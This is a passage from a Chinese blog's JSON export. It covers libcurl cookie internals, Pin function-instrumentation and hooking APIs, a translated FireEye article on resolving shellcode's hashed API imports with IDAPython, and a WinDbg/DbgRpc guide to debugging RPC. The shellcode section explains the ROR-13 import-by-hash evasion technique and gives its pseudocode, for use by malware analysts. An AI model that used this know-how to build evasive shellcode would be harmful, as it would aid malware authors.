Curl_http_readwrite_headers(data, conn, &nread, &stop_reading); //-> //CURLcode Curl_client_write(struct connectdata *conn, // int type, // char *ptr, // size_t len)//lib\\sendf.c //接受数据 result = Curl_client_write(conn, CLIENTWRITE_BODY, k->str, nread); //-》 //Curl_client_write->Curl_client_chop_write-> 调用回调函数 // }//调用回调函数CURLcode Curl_client_chop_write(struct connectdata *conn, int type, char * ptr, size_t len){ curl_write_callback writeheader = NULL; curl_write_callback writebody = NULL; //... /* Determine the callback(s) to use. */ if(type & CLIENTWRITE_BODY) writebody = data->set.fwrite_func; if(writebody) { //调用回调函数 size_t wrote = writebody(ptr, 1, chunklen, data->set.out);} 4. cookie相关123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103//解析指定的cookie文件//支持# Netscape HTTP Cookie File和Mozilla cookieCURLcode Curl_pretransfer(struct Curl_easy *data)//lib\\transfer.c{ /* If there is a list of cookie files to read, do it now! */ if(data->change.cookielist)//cookie文件列表 Curl_cookie_loadfiles(data);}->void Curl_cookie_loadfiles(struct Curl_easy *data)//lib\\cookie.c->//读取cookie文件,初始化cookie结构struct CookieInfo *Curl_cookie_init(struct Curl_easy *data, const char *file, struct CookieInfo *inc, bool newsession)//lib\\cookie.c->//lineptr是从cookie.txt中读取的每行数据,解析数据,插入CookieInfo链struct Cookie *Curl_cookie_add(struct Curl_easy *data, /* The 'data' pointer here may be NULL at times, and thus must only be used very carefully for things that can deal with data being NULL. Such as infof() and similar */ struct CookieInfo *c, bool httpheader, /* TRUE if HTTP header-style line */ char *lineptr, /* first character of the line */ const char *domain, /* default domain */ const char *path) /* full path used when this cookie is set, used to get default path for the cookie unless set */{//...clist = c->cookies; replace_old = FALSE; while(clist) { if(Curl_raw_equal(clist->name, co->name)) { /* the names are identical */ if(clist->domain && co->domain) { if(Curl_raw_equal(clist->domain, co->domain)) /* The domains are identical */ replace_old=TRUE; } else if(!clist->domain && !co->domain) replace_old = TRUE; if(replace_old) { /* the domains were identical */ if(clist->spath && co->spath) { if(Curl_raw_equal(clist->spath, co->spath)) { replace_old = TRUE; } else replace_old = FALSE; } else if(!clist->spath && !co->spath) replace_old = TRUE; else replace_old = FALSE; } //。。。 if(replace_old) { co->next = clist->next; /* get the next-pointer first */ *clist = *co; /* then store all the new data */ free(co); /* free the newly alloced memory */ co = clist; /* point to the previous struct instead */ /* We have replaced a cookie, now skip the rest of the list but make sure the 'lastc' pointer is properly set */ do { lastc = clist; clist = clist->next; } while(clist); break; } } lastc = clist; clist = clist->next; } if(c->running) /* Only show this when NOT reading the cookies from a file */ infof(data, "%s cookie %s=\\"%s\\" for domain %s, path %s, " "expire %" CURL_FORMAT_CURL_OFF_T "\\n", replace_old?"Replaced":"Added", co->name, co->value, co->domain, co->path, co->expires); if(!replace_old) { /* then make the last item point on this new one */ if(lastc) lastc->next = co; else c->cookies = co; c->numcookies++; /* one more cookie in the jar */ } //...} 0x06. 其他封装了一份简单的http类,支持GET、POST、ajax,代码比较简单,有需要的可以拿来用,后续可能会更新 源码:https://github.com/anhkgg/minihttp https://curl.haxx.se/libcurl/ https://curl.haxx.se/libcurl/3 http://blog.csdn.net/breaksoftware/article/details/45874197 转载请注明出处:http://anhkgg.github.io/liburl-use-minihttp/","tags":[{"name":"libcurl","slug":"libcurl","permalink":"https://anhkgg.github.io/tags/libcurl/"},{"name":"http","slug":"http","permalink":"https://anhkgg.github.io/tags/http/"},{"name":"minihttp","slug":"minihttp","permalink":"https://anhkgg.github.io/tags/minihttp/"},{"name":"get_post_ajax","slug":"get-post-ajax","permalink":"https://anhkgg.github.io/tags/get-post-ajax/"}]},{"title":"pin使用小记-函数分析","date":"2016-07-28T05:27:33.000Z","path":"pin-use-note-function-analysis/","text":"概述相关:pin是什么 pin可以做什么 pin examples 此次使用pin目的,是为了能够应用pin在函数分析方面的功能,以及XXXInsertCall的功能 由于此前对pin了解不够深入,以为可以实现相应功能,哪知撞了南墙才知道pin也有些许局限。 下面将我对了解到的pin可以实现以及不能实现的各种坑写作笔记。 函数分析RTN1PIN_CALLBACK LEVEL_PINCLIENT::RTN_AddInstrumentFunction (RTN_INSTRUMENT_CALLBACK fun, VOID *val) 使用RTN_AddInstrumentFunction即可对分析目标添加函数级插桩,在设置的回调中可以获取函数的各种信息。 1typedef VOID(*) LEVEL_PINCLIENT::RTN_INSTRUMENT_CALLBACK(RTN rtn, VOID *v) 回调函数中rtn就表示被插桩的该函数,通过RTN_XXX相关函数可以获取函数的名字、地址、大小、范围等等 1234const string & LEVEL_PINCLIENT::RTN_Name (RTN x)ADDRINT LEVEL_PINCLIENT::RTN_Address (RTN rtn)USIZE LEVEL_PINCLIENT::RTN_Size (RTN rtn)USIZE LEVEL_PINCLIENT::RTN_Range (RTN rtn) 不得不提一个函数,RTN_FindByName类似于GetProcAddress,可以获取img(模块对象)中指定名字的rtn对象。 1RTN LEVEL_PINCLIENT::RTN_FindByName (IMG img, const CHAR *name) 也可以通过地址来获取对应的rtn对象,但是如果对应函数没有符号信息,获取到的rtn是不对的,会找到最小范围内满足的rtn对象 1RTN LEVEL_PINCLIENT::RTN_FindByAddress (ADDRINT address) 函数初以为RTN表示所有函数对象,像IDA一样能将基本所有函数分析出来,哪知吃了不看文档的亏(虽然知道使用RTN之前需要调用符号相关初始化)。 A RTN represents the functions/routines/procedures typically produced by a compiler for a procedural programming language such as C. Pin finds routines by using the symbol table information. You must call PIN_InitSymbols() so that symbol table information will be available. Can be accessed at instrumentation time and analysis time. 也就是说pin是根据符号信息来分析函数,生成RTN对象。那么没有符号信息的函数,像IDA中的是那么sub_xxxx也就没有可能这么方便的使用了。 当然,如果需求是对有符号信息的函数,比如对系统函数的分析,那么RTN还是能够提供相当nb的功能的。记得调用PIN_InitSymbols()初始化符号信息。 maybe hookpin可以实现类似于对函数hook的功能,有两类,第一类用在JIT模式下,另一类用在Probe模式下。 先说JIT模式下使用的RTN_InsertCall。 12345VOID LEVEL_PINCLIENT::RTN_InsertCall ( RTN rtn,IPOINT action,AFUNPTR funptr, ... ) Insert call relative to a rtn. 使用这个函数注册一个回调函数,该回调函数可以在rtn调用前(IPOINT_BEFORE)或者调用后(IPOINT_AFTER)被调用。可以给回调函数传递各种信息,使用第三个参数之后的内容传递。 pin中各种XXX_InsertCall传递参数有一个统一的类型IARG_TYPE。这里简单说一下传递方法,具体要根据IARG_TYPE说明来使用,大致分为两种: 只需要指定IARG_XXX类型,pin自己传递具体值给回调函数 指定IARG_XXX类型,开发者传递类型对应的具体值 必须以IARG_END表示参数结束。 123456789101112//pin传递值,只需要指定类型即可IARG_RETURN_IP Type: ADDRINT. Return address for function call, valid only at the function entry point.IARG_ORIG_FUNCPTR Type: AFUNPTR. Function pointer to the relocated entry of the original uninstrumented function.IARG_PROTOTYPE Type: PROTO. The function prototype of the application function. See Prototypes.IARG_THREAD_ID Type: THREADID. Application thread id.//开发者需要自己传递具体值IARG_ADDRINT Type: ADDRINT. Constant value (additional arg required).IARG_PTR Type: "VOID *". Constant value (additional pointer arg required).IARG_BOOL Type: BOOL. Constant (additional BOOL arg required).IARG_UINT32 Type: UINT32. Constant (additional integer arg required).IARG_INST_PTR Type: ADDRINT. The address of the instrumented instruction. This value does not change at IPOINT_AFTER. This is simply shorthand for IARG_ADDRINT, INS_Address(ins).IARG_REG_VALUE Type: ADDRINT for integer register. Value of a register (additional register arg required) REG: Register Object Basically, this cannot be used to retrieve the value of registers whose size is different than ADDRINT's (i.e.: x87/XMM/YMM/ZMM registers) or registeres which are not architectural (REG_PIN_*), but there are some exceptions for this rule. 举个例子:1234567891011121314char* p = "this is log info.";BOOL log_falg = TRUE;ADDRINT addr = RTN_Address(rtn);RTN_InsertCall(rtn, IPOINT_BEFORE, RtnClk, IARG_ORIG_FUNCPTR, IARG_RETURN_IP, IARG_ADDRINT, addr, IARG_PTR, p, IARG_BOOL, log_falg, IARG_END); VOID RtnClk(ADDRINT OrigFunc, ADDRINT retIp, ADDRINT addr, void* log, BOOL log_falg){} Probe模式下使用下面两个函数,其实没有弄明白这两个函数和JIT模式下RTN_InserCall的区别,暂时就不做深入了。 12VOID LEVEL_PINCLIENT::RTN_InsertCallProbed (RTN orgRtn, IPOINT action, AFUNPTR funptr,...)VOID LEVEL_PINCLIENT::RTN_InsertCallProbedEx (RTN orgRtn, IPOINT action, PROBE_MODE mode, AFUNPTR funptr,...) Insert a call to an analysis routine relative to a RTN. 其他12RTN_ReplaceProbedRTN_ReplaceProbedEx 下面一个示例,可能更符合对函数hook的理解,这里使用到的是RTN_ReplaceSignatureProbed 这种方式需要向函数hook一样指定函数原型,也就是需要知道函数需要哪些参数,调用方式等等。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657typedef VOID * ( *FP_MALLOC )( size_t );// This is the replacement routine.//VOID * NewMalloc( FP_MALLOC orgFuncptr, UINT32 arg0, ADDRINT returnIp ){ // Normally one would do something more interesting with this data. // cout << "NewMalloc (" << hex << ADDRINT ( orgFuncptr ) << ", " << dec << arg0 << ", " << hex << returnIp << ")" << endl << flush; // Call the relocated entry point of the original (replaced) routine. // VOID * v = orgFuncptr( arg0 ); return v;}// Pin calls this function every time a new img is loaded.// It is best to do probe replacement when the image is loaded,// because only one thread knows about the image at this time.//VOID ImageLoad( IMG img, VOID *v ){ // See if malloc() is present in the image. If so, replace it. // RTN rtn = RTN_FindByName( img, "malloc" ); if (RTN_Valid(rtn)) { cout << "Replacing malloc in " << IMG_Name(img) << endl; // Define a function prototype that describes the application routine // that will be replaced. // PROTO proto_malloc = PROTO_Allocate( PIN_PARG(void *), CALLINGSTD_DEFAULT, "malloc", PIN_PARG(int), PIN_PARG_END() ); // Replace the application routine with the replacement function. // Additional arguments have been added to the replacement routine. // RTN_ReplaceSignatureProbed(rtn, AFUNPTR(NewMalloc), IARG_PROTOTYPE, proto_malloc, IARG_ORIG_FUNCPTR, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_RETURN_IP, IARG_END); // Free the function prototype. // PROTO_Free( proto_malloc ); }} can be hook另外pin还提供对任意地址做hook的函数,也就是PIN_InsertCallProbed。 显然这也是用于Probe模式下的函数,顺便就说一下Probe模式下需要注意,调用PIN_StartProgramProbed()启动目标进程,这样子之后,JIT模式的很多函数就不能使用了。正是因为这个,如RTN、INS、Trace插桩函数不能使用,只能通过IMG插桩,在回调中进行函数的分析,想下面的实例代码中一样。 这样就给我要实现的功能带来了麻烦,无法通过INS插桩分析call xxx的目标地址,更别说后续的使用PIN_InsertCallProbed来对函数hook了,这样子PIN_InsertCallProbed对我来说显得很鸡肋。 PIN_StartProgramProbed() must be used when using this API.Use RTN_IsSafeForProbedInsertion() to determine if a function is a suitable candidate for probed function insertion. 不过,我觉得这种模式更类似于函数hook,不会像上面指定IPOINT_BEFORE,它更像hook一样只是对函数进行inline hook(或者其他方式)。 使用示例(代码来自于pin例子源码source\\tools\\Probes\\insert_call_probed.cpp): 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859void Notification(ADDRINT val){ char buff[80]; if (!writeFun) { fprintf(stderr, "Write Function was not initialized ...\\n"); exit(1); } sprintf(buff, "Notification value: %p", Addrint2VoidStar(val)); writeFun(buff);}VOID ImageLoad(IMG img, VOID *v){ const ANNOTATION *ann = 0; USIZE num = 0; printf("Processing %s\\n", IMG_Name(img).c_str()); for (SEC sec = IMG_SecHead(img); SEC_Valid(sec); sec = SEC_Next(sec)) { if (SEC_Name(sec) == "MyAnnot") { ann = reinterpret_cast<const ANNOTATION*>(SEC_Data(sec)); num = SEC_Size(sec) / sizeof(ANNOTATION); } } if (ann) { printf("Found annotations: \\n"); for (UINT32 i = 0; i < num; i++) { ADDRINT addr = ann[i].addr + IMG_LoadOffset(img); ADDRINT val = ann[i].value; printf("\\t%p %p\\t", Addrint2VoidStar(addr), Addrint2VoidStar(val)); if (PIN_IsSafeForProbedInsertion(addr)) //检查addr对应指令是否可以做hook { PIN_InsertCallProbed(addr, AFUNPTR(Notification), IARG_ADDRINT, val, IARG_END); printf(" - OK\\n"); } else { printf(" - Failed\\n"); } } // Set the write line function, from the image of the annotations (i.e. the main executable). RTN writeRtn = RTN_FindByName(img, "write_line"); if (RTN_Valid(writeRtn)) { writeFun = (void (*)(char *))RTN_Funptr(writeRtn); } } printf("Completed %s\\n", IMG_Name(img).c_str());} INSINS表示某地址对应的指令对象,通过INS_XXX函数可以获取指令对应汇编代码,可以判断指令时什么类型,也可以对INS进行插桩。 An INS represents an instruction. Can only be accessed at instrumentation time. 下面列出一部分函数,看名字就知道干什么的。 123456789101112131415161718192021string LEVEL_CORE::INS_Disassemble (INS ins)BOOL LEVEL_CORE::INS_IsLea (INS ins)BOOL LEVEL_CORE::INS_IsNop (INS ins)BOOL LEVEL_CORE::INS_IsCall (INS ins)BOOL LEVEL_CORE::INS_IsProcedureCall (INS ins)BOOL LEVEL_CORE::INS_IsRet (INS ins)BOOL LEVEL_CORE::INS_IsSysret (INS ins)BOOL LEVEL_CORE::INS_IsSyscall (INS ins)ADDRINT LEVEL_PINCLIENT::INS_Address (INS ins)USIZE LEVEL_PINCLIENT::INS_Size (INS ins)RTN LEVEL_PINCLIENT::INS_Rtn (INS x)BOOL LEVEL_CORE::INS_IsBranch (INS ins)BOOL LEVEL_CORE::INS_IsDirectBranch (INS ins)BOOL LEVEL_CORE::INS_IsDirectCall (INS ins)BOOL LEVEL_CORE::INS_IsDirectBranchOrCall (INS ins)BOOL LEVEL_CORE::INS_IsBranchOrCall (INS ins)BOOL LEVEL_CORE::INS_IsIndirectBranchOrCall (INS ins)ADDRINT LEVEL_PINCLIENT::INS_DirectBranchOrCallTargetAddress (INS ins) 下面主要对用到的几个函数,对其理解做一下笔记。 call/branch上面提到我要对call xxx中xxx的信息进行获取,就需要用到对INS的分析,进而通过插桩来获取地址。 用到了下面几个函数对指令进行判断,是否是call。 1234567891011121314151617181920BOOL LEVEL_CORE::INS_IsCall (INS ins)//call,不管目标是不是地址,或者寄存器等BOOL LEVEL_CORE::INS_IsBranch (INS ins) //jmp,jz,jnz等等,不管目标是不是地址,或者寄存器等BOOL LEVEL_CORE::INS_IsDirectBranch (INS ins)//jmp,jz,jnz等等,目标是地址BOOL LEVEL_CORE::INS_IsDirectCall (INS ins)//call xxx,目标是地址BOOL LEVEL_CORE::INS_IsDirectBranchOrCall (INS ins)//call,jmp,jz,jnz等等,目标是地址BOOL LEVEL_CORE::INS_IsBranchOrCall (INS ins)//call,jmp,jz,jnz等等,不管目标是不是地址,或者寄存器等BOOL LEVEL_CORE::INS_IsIndirectBranchOrCall (INS ins)//call,jmp,jz,jnz等等,目标是寄存器 目标地址如果INS满足INS_IsDirectBranchOrCall,可以直接通过INS_DirectBranchOrCallTargetAddress获取到目标地址。 如果INS是INS_IsIndirectBranchOrCall,那么只有通过插桩来获取目标地址。插桩是必须使用IPOINT_TAKEN_BRANCH类型的action,然后再回调函数中可以通过寄存器来获取目标地址。 如下所示代码: 1234567INS_InsertCall(ins, IPOINT_TAKEN_BRANCH, (AFUNPTR)RttiCall, IARG_CONTEXT, IARG_INST_PTR, IARG_END);void RttiCall(CONTEXT* ctx, ADDRINT addr){ ADDRINT TakenIP = (ADDRINT)PIN_GetContextReg(ctx, REG_INST_PTR); ADDRINT RIP = (ADDRINT)PIN_GetContextReg(ctx, REG_RIP);} 总结通过上面对RNT,INS使用的相关总结,已经可以拿到call xxx的目标地址,也可以对任意地址进行插桩(hook),但是就在JIT\\Probe两个模式中找不到可以以结合的地方。 JIT模式下,可以通过INS拿到目标地址,但是不能对目标地址进行插桩 Probe模式下,可以对目标地址插桩,但是拿不到目标地址 不知道pin是否可以满足这种需求,但在我目前看到的东西里,是没法实现了。 如果有过路的高人,想可以指点一二,不甚感激。 另外总结一下pin中各对象的关系:1IMG->SEC->BBL->RTN->INS 完结。","tags":[{"name":"pin","slug":"pin","permalink":"https://anhkgg.github.io/tags/pin/"},{"name":"pintool","slug":"pintool","permalink":"https://anhkgg.github.io/tags/pintool/"},{"name":"function analysis","slug":"function-analysis","permalink":"https://anhkgg.github.io/tags/function-analysis/"},{"name":"hook","slug":"hook","permalink":"https://anhkgg.github.io/tags/hook/"},{"name":"insertcall","slug":"insertcall","permalink":"https://anhkgg.github.io/tags/insertcall/"},{"name":"instrument","slug":"instrument","permalink":"https://anhkgg.github.io/tags/instrument/"},{"name":"asm","slug":"asm","permalink":"https://anhkgg.github.io/tags/asm/"},{"name":"插桩","slug":"插桩","permalink":"https://anhkgg.github.io/tags/插桩/"},{"name":"钩子","slug":"钩子","permalink":"https://anhkgg.github.io/tags/钩子/"},{"name":"指令级","slug":"指令级","permalink":"https://anhkgg.github.io/tags/指令级/"}]},{"title":"使用预先算好的字符串hash逆向分析shellcode","date":"2016-07-11T10:29:16.000Z","path":"precalculated-string-hashes-reverse-engineering-shellcode/","text":"前言对fireeye关于ida中shellcode_hashes_search_plugin.py的文章翻译,原文链接是USING PRECALCULATED STRING HASHES WHEN REVERSE ENGINEERING SHELLCODE 文章是fireeye的Jay Smith写的,介绍说经常在分析恶意样本中遇到shellcode,文章会介绍shellcode导入技术的背景以及如何是IDA自动化标记来更快分析shellcode 逆向shellcode判断一段shellcode做了什么,最简单的方法是将其放在一个监控环境中运行。但是如果shellcode是被exploit加载并且你没有对应版本的可利用程序,这种方式就没什么用了。在我们研究shellcode的经验中,我们发现很多恶意样本含有一段嵌入的shellcode,样本将shellcode注入到其他进程中执行。然而,获取到这段嵌入的shellcode,让他运行起来,并不总是可用的。在这些情况下,就需要静态分析shellcode来看看它有些什么功能了。 Shellcode的二进制文件一般都不是很大,所以逆向它们并不是很难,但是通常shellcode作者会使用一些技术手段来阻碍逆向分析。其中一种技术就是使用API函数名的hash来手工导入函数。 shellcode导入技术开发者编写正常的程序通常使用kernel32.dll的LoadLibraryA和GetProcAddress来加载任意DLL和获取它们的到处函数地址。而shllcode的作者经常遇到内存大小限制,所以如果在代码中使用API函数名的完整字符串是不大可能的。相对于使用完整函数名字符串,预先计算好函数名的hash值,保存到shellcode中,花费更少的内存大小。使用这种方式的话,shellcode就不能使用GetProcAddress来获取函数地址了,需要解析DLL的PE文件找到导出目录,解析到处函数数组。对每个函数名字,计算出它的hash值,对比先前保存在shellcode中的hash值,如果相等就找到了对应的API函数。关于这种技术的背景资料可以在Last Stage的winasm项目中公开的paper中找到。 这种技术听起来很难,但是幸运的是shellcode作者大都会重用已知的hash算法和值,这样逆向分析就更简单了。我所见过的大部分shellcode样本的hash算法都被metasploit收录了。这个算法如下: 12345acc := 0for c in input_string do acc := ROR(acc, 13); acc := acc + c;end 这个肯定不是一个很强的hash算法,但是它已经完全可以达到将任意长度的输入字符串计算成一个整数的目的。这个算法唯一的限制是开发者使用的每一个API函数都有唯一的hash值,算法中简单的ROR-13是很有效的。我见过的不一样的hash算法通常只是将这个算法进行了轻微的修改:位移一个不同的值,将右移换成左移,或者使用其他方法将输入的所有字符串混合成一个整数值。 自动标记shellcode导入当你第一次逆向shellcode的时候,你通常可能在网上搜搜这些魔数,或者自己计算这些值保存在文本中以后使用。很长一段时间,我看了很多的样本,我意思到这是一个烦人且重复的工作,该使用IDA脚本进行自动化。 由于shellcode作者重用通用的代码,我觉得公开我的IDA脚本集对恶意代码分析有帮助。预先用已知的hash算法计算出重用API函数名的hash后,如果有新的hash算法出现,就不难实现它来产生hash值了。在Poison Ivy RAT的字符串hash,有过这种情况(这句原文:There has only been one instance, involving string hash from Poison Ivy RAT, in which this wasn’t the case)。 可以在https://github.com/mandiant/Reversing找到脚本。 有两个部分: make_sc_hash_db.py 是用于预先计算函数名字的hash值。这是一个实现了我以前遇到过的hash算法的命令行python脚本。它处理了一个目录中的所有DLL,计算了每个到处函数的hash值,保存在SQLite数据库中。 shellcode_hash_search.py 是一个IDAPython脚本,用来打开SQLite数据库,获取其中预先计算的hash值,在当前文件中搜索已知的hash值。 make_sc_hash_db.py可以像下面那样使用,第一个参数是要创建的数据库名字,第二个参数是保存DLL的目录。如果你跳过这个步骤,发布版本中已经有个简单的数据库了。 1python make_sc_hash_db.py sc_hashes.db /customer/microsoft/shellcode_dlls/ 当shellcode_hash_search.py运行起来后,提示用户使用哪个数据库,然后询问用户其他的搜索参数。它显示所有的保存在数据库中的hash算法,然后提供一些简单的已知的伪代码,如图: 脚本会尝试使用HexRays发布的用于QT的PySide(可以在这里下载http://www.hex-rays.com/products/ida/support/download.shtml)))。如果HexRays中没有PySide,它使用简单的对话框来或者相同的信息。 如果没有任何信息被高亮,脚本搜索当前段或者高亮区域。脚本查询每个DWORD(选中了DWORD Array选项),每个指令操作数(选中了Instr Operands选项)来决定是不是选中算法的一个hash值。如果找到了一个hash值会有一个line comment。如图: 有些shellcode作者也经常使用hash值保存在DWORD数组中,而不是将每个值压入函数参数,如图: 如果选中了Create Struct,如果找到的hash值在一段连续地址,脚本会自动创建一个结构体,如图: 如果shellcode作者使用函数指针数组,结构体非常有用,它会转换成[base+index]的结构体引用。如图: shellcode_hashes_search_plugin.py用来显示IDA插件菜单的。拷贝到%PROGRAMFILES%IDAplugins,设置其他python文件到PATH环境变量中确保可被使用。 总结通常,逆向分析一个shellcode比正常的binary文件更加乏味。IDA的导入表分析缺陷是一个延长分析的很大原因。通过IDAPython脚本可以解决上面的问题,我们已经将脚本公开在githun,希望你们的shellcode分析能够得到改进。 参考: USING PRECALCULATED STRING HASHES WHEN REVERSE ENGINEERING SHELLCODE 转载请注明出处,谢谢!","tags":[{"name":"reverse","slug":"reverse","permalink":"https://anhkgg.github.io/tags/reverse/"},{"name":"shellcode","slug":"shellcode","permalink":"https://anhkgg.github.io/tags/shellcode/"},{"name":"IDAPython","slug":"IDAPython","permalink":"https://anhkgg.github.io/tags/IDAPython/"}]},{"title":"Windbg系列-RPC调试","date":"2016-01-04T12:16:10.000Z","path":"Windbg系列-RPC调试/","text":"概述最近在调试rpc,没法子,翻译了一下windbg这篇调试RPC的文档,后面可能还有其他内容,也就弄个系列吧算是自己的笔记,有看客的话,可以多多指出问题,提提建议,不吝赐教! 微软的远程过程调用(RPC)可以轻松越过进程和机器的界限并且进行数据通信。这种网络通信标准是微软Window网络通信如此强大的原因(….太绕了,翻不来,也不重要)。然而,因为RPC对进程隐藏了网络调用,所以隐藏了计算机之间的交互细节。这使得用户很难确认线程为什么这么做,正在做什么,为什么在支持的功能上失败。所以,调试和解决RPC错误非常困难。另外,大部分RPC错误的问题实际上出现在配置问题,网络连接问题,其他组件问题上。Windows有个调试工具是DbgRpc,是RPC相关的调试器扩展。这些扩展能够用来分析Windows Xp以及更新版本系统的各种RPC问题。这些Windows版本可以配置来保存RPC实时状态信息。可以保存不同数量的状态信息;这可以让你获得需要的信息,而不用防止一个重的负担在你的电脑上了(significant burden,什么东西)。细节请看Enabling RPC State Information 之后这些信息就可以被调试器或者DbgRpc访问了。在每种情况下,一个集合的查询都是可以用的。细节请看Displaying RPC State Information 在大部分情况下,你可以通过使用Common RPC Debugging Techniques.中的技术找到问题。如果你想探索一下机器是怎么保存这些细腻的,或者你想设计自己的状态信息分析的技术,可以看看RPC State Information Internals.这些工具和技术在Windows2000中不能使用 激活RPC状态信息可以收集两种不同的RPC运行时状态信息:服务端信息和完整信息。必须要在调试器或者DbgRpc使用之前激活状态信息的收集。只有Windows XP以及以后的系统可以收集RPC状态信息。收集服务端状态信息是比较轻量级。每次RPC调用大概需要100条机器指令,甚至在性能测试中都几乎不可察觉已经被加载了(…)。但是收集这些信息会耗费内存(每个RPC服务端大概4KB),所以不推荐内存有压力的机器使用。服务端信息包括数据,endpoints,线程,连接对象和服务调用对象(SCALL)。这些足够调试大部分RPC问题了。收集全部状态信息更加heavyweight。它收集了所有的信息,包括服务端信息,另外还有客户端调用对象(CCALL)。全部状态信息通常是不需要的。在电脑中运行Group Policy Editor(Gpedit.msc)可以激活收集RPC状态信息的功能。在本地电脑策略中,找到Computer Configuration/Administrative Templates/System/Remote Procedure Call。在这节下面可以看到RPC Troubleshooting State Information,当你编辑它的属性时, 1本地计算机策略-计算机配置-管理模板-系统-远程过程调用-维护RPC疑难解答状态信息(默认未启用,启用之后配置下面5中状态) 可以看到5中可能的状态:None:不维持任何状态信息。除非你电脑内存压力很大,不推荐这种配置。Server:收集服务端状态信息。推荐在个人电脑中设置这个。Full:收集全部状态信息。Auto1:在内存小于64MB的电脑中,相当于None配置。在大于64MB的电脑中相当于Server配置。Auto2:在内存小于128MB的运行Windows Server2003的电脑,或者运行Windows XP的电脑,相当于None配置。在大于128MB的Windows Server 2003中,相当于Server。这个也是默认配置。 如果你想同时配置一个局域网中的电脑的这些状态,使用Group Policy Editor卷起(roll out)机器策略到首选的机器中。策略引擎会监视你配置的策略传到首选的机器中。在这种情况下,Auto1和Auto2是特别有用的,因为不同机器的操作系统和内存大小是不一样的。如果网络中包括运行了比Windows XP更老的系统,这些电脑会忽略这些配置。 显示RPC状态信息各种各样的RPC调试扩展在Rpcexts.dll中导出。这些用来显示RPC状态信息RPC扩展只能在用户模式中运行。他们可以在CDB(或者NTSD)或者用户模式的Windbg中使用。用户模式的调试器必须有一个目标程序,但是这个目标跟RPC扩展又是没有关系的(??)。如果调试器还没有运行,你可以简单打开它调试一个毫不相干的目标(比如windbg notepad或者cdb winmine)。接着在CDB中CTRL+C,或者Windbg中Debug|Break来停止目标进程,这样可以使用调试器的命令窗口。如果你需要分析一个远程电脑的RPC状态信息,你需要在目标电脑中运行一个用户模式的调试器,然后使用Remote Debugging。通过调试器访问RPC状态信息在一个stress环境中是特别有用的,或者当一个调试器已经运行了。 使用RPC调试扩展各种各样的RPC调试扩展在Rpcexts.dll中导出。这些用来显示RPC状态信息RPC扩展只能在用户模式中运行。他们可以在CDB(或者NTSD)或者用户模式的Windbg中使用。用户模式的调试器必须有一个目标程序,但是这个目标跟RPC扩展又是没有关系的(??)。如果调试器还没有运行,你可以简单打开它调试一个毫不相干的目标(比如windbg notepad或者cdb winmine)。接着在CDB中CTRL+C,或者Windbg中Debug|Break来停止目标进程,这样可以使用调试器的命令窗口。如果你需要分析一个远程电脑的RPC状态信息,你需要在目标电脑中运行一个用户模式的调试器,然后使用Remote Debugging。通过调试器访问RPC状态信息在一个stress环境中是特别有用的,或者当一个调试器已经运行了。 使用DbgRpc工具DbgRpc工具(DbgRpc.exe)放在windbg安装目录中,必须使用命令提示窗口打开它。双击是不能启动这个工具的。命令提示窗口必须运行在本地电脑的administrator权限的账户下,或者域管理员权限。DbgRpc不会对系统服务产生任何调用(比如LSASS)。 这个对调试时非常有用的,只要内核还在运行,即便在系统服务已经崩溃了。 在远程电脑中使用DbgRpcDbgRpc也可以用来检查远程电脑的信息。为了让这个可以正常工作,远程电脑需要可以接受远程连接和远程认证用户。如果远程电脑的RPCSS服务已经崩溃,DbgRpc将不能工作。远程电脑中也需要Administrative或者域管理员权限。 -s参数用来指定服务端名字,-p指定传输协议。TCP和命名管道都可以使用。推荐使用TCP协议,它几乎可以在每种情况下使用。 123456G:\\>dbgrpc -s MyServer -p ncacn_ip_tcp -l -P 1e8 -L 0.1Getting remote cell info ...EndpointStatus: ActiveProtocol Sequence: LRPCEndpoint name: OLE18 DbgRpc命令行可以查看详细的DbgRpc命令描述 获取RPC Cell信息详细的cell信息通过!rpcexts.getdbgcell显示,或者使用DbgRpc的-l开关。需要指定进程id已经cell number。下面的例子,进程id是0x278,cell number是0000.0002 12345678D:\\wmsg>dbgrpc -l -P 278 -L 0.2Getting cell info ...ThreadStatus: DispatchedThread ID: 0x1A4 (420)Last update time (in seconds since boot):470.25 (0x1D6.19)For details on the optional parameters, see DbgRpc Command-Line Options.For a similar example using the RPC debugger extensions, see !rpcexts.getdbgcell. 获取RPC Endpoint信息Endpoint信息通过!rpcexts.getendpointinfo显示,或者DbgRpc的-e开关。如果指定了endpoint number,就会显示它的信息。如果忽略endpoint number,系统中所有进程的endpoint都会显示。下面是显示所有endpoints的例子,通常包含进程id和cell number作为额外的参数是很有用的方式。 12345678910111213141516171819202122232425262728293031323334353637383940D:\\wmsg>dbgrpc -eSearching for endpoint info ...PID CELL ID ST PROTSEQ ENDPOINT-------------------------------------------------------00a8 0000.0001 01 NMP \\PIPE\\InitShutdown00a8 0000.0003 01 NMP \\PIPE\\SfcApi00a8 0000.0004 01 NMP \\PIPE\\ProfMapApi00a8 0000.0007 01 NMP \\pipe\\winlogonrpc00a8 0000.0008 01 LRPC OLE500c4 0000.0001 01 LRPC ntsvcs00c4 0000.0003 01 NMP \\PIPE\\ntsvcs00c4 0000.0008 01 NMP \\PIPE\\scerpc00d0 0000.0001 01 NMP \\PIPE\\lsass00d0 0000.0004 01 NMP \\pipe\\WMIEP_d000d0 0000.000b 01 NMP \\PIPE\\POLICYAGENT00d0 0000.000c 01 LRPC policyagent0170 0000.0001 01 LRPC epmapper0170 0000.0003 01 TCP 1350170 0000.0005 01 SPX 342800170 0000.0006 01 NB 1350170 0000.0007 01 NB 1350170 0000.000b 01 NMP \\pipe\\epmapper01b8 0000.0001 01 NMP \\pipe\\spoolss01b8 0000.0003 01 LRPC spoolss01b8 0000.0007 01 LRPC OLE700ec 0000.0001 01 LRPC OLE200ec 0000.0003 01 LRPC senssvc00ec 0000.0007 01 NMP \\pipe\\tapsrv00ec 0000.0008 01 LRPC tapsrvlpc00ec 0000.000c 01 NMP \\PIPE\\ROUTER00ec 0000.0010 01 NMP \\pipe\\WMIEP_ec0214 0000.0001 01 NMP \\PIPE\\winreg022c 0000.0001 01 LRPC LRPC0000022c.00000001022c 0000.0003 01 TCP 1058022c 0000.0005 01 SPX 24576022c 0000.0006 01 NMP \\PIPE\\atsvc02a8 0000.0001 01 LRPC OLE30370 